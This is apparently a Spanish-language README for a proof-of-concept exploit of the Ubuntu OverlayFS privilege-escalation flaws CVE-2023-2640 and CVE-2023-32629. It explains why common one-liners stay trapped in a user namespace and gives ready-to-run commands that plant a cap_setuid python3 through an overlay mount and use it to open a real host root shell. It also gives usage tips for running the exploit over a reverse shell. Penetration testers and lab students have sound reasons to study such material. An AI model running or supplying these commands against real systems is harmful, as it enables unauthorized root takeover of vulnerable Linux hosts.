
Un exploit limpio, interactivo y de múltiples pasos para la escalada local de privilegios (LPE) en Ubuntu OverlayFS (GameOver(lay)) que escapa del sandbox del espacio de nombres de usuario para obtener una verdadera shell root del host.
Una prueba de concepto (PoC) interactiva y de múltiples pasos de Escalada Local de Privilegios (LPE) dirigida a las vulnerabilidades OverlayFS del kernel de Ubuntu Linux (CVE-2023-2640 / CVE-2023-32629).
A diferencia de los one-liners automatizados estándar que atrapan su shell interactivo dentro de un User Namespace (Fake Root) restrictivo, esta metodología divide la secuencia del exploit para obtener de forma segura un shell root real e irrestricto del host.
Muchos exploits públicos combinan la configuración y la ejecución en una única secuencia de shell automatizada como esta:
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
Debido a que la carga útil de ejecución de Python está incrustada dentro de las comillas dobles de unshare, se ejecuta internamente dentro del sandbox del espacio de nombres de usuario.
uid=0(root), pero su shell está aislado criptográficamente del host. Si intenta ver el directorio root del host (cd /root), obtendrá un error de Permission Denied.Esta PoC divide el proceso en dos etapas lógicas distintas:
unshare para falsificar los permisos de root solo el tiempo suficiente para explotar la falla ovl_copy_up de OverlayFS, filtrando una capacidad setcap cap_setuid+eip de alto privilegio en una carpeta local de binarios de Python.os.setuid(0) y le otorga privilegios reales de administración a nivel de host.ovl_copy_up_meta_inode_data del kernel de Ubuntu que permite omitir por completo las comprobaciones de validación durante la migración de archivos.6.2.0-26-generic.exploit.sh en la máquina objetivo (por ejemplo, dentro de /tmp).chmod +x exploit.sh
./exploit.sh
Si está trabajando con una reverse shell volátil, ejecute estos comandos completamente por separado, pulsando Enter después de cada línea:
# 1. Clean workspace environment
cd /tmp && rm -rf l u w m
# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Verifique sus privilegios reales comprobando su perfil de usuario actual:
whoami
cat /root/root.txt
La mecánica base del exploit utilizada en este refactor interactivo fue descubierta y documentada originalmente por los investigadores de seguridad Liav Eliyahu y g1vi.
Este repositorio se crea estrictamente con fines educativos, de investigación de seguridad y de pruebas de penetración autorizadas (como los laboratorios HackTheBox / OffSec). El autor no asume ninguna responsabilidad por el uso indebido, los intentos de acceso no autorizado o los daños a la infraestructura causados por estos materiales. Úselo de manera responsable.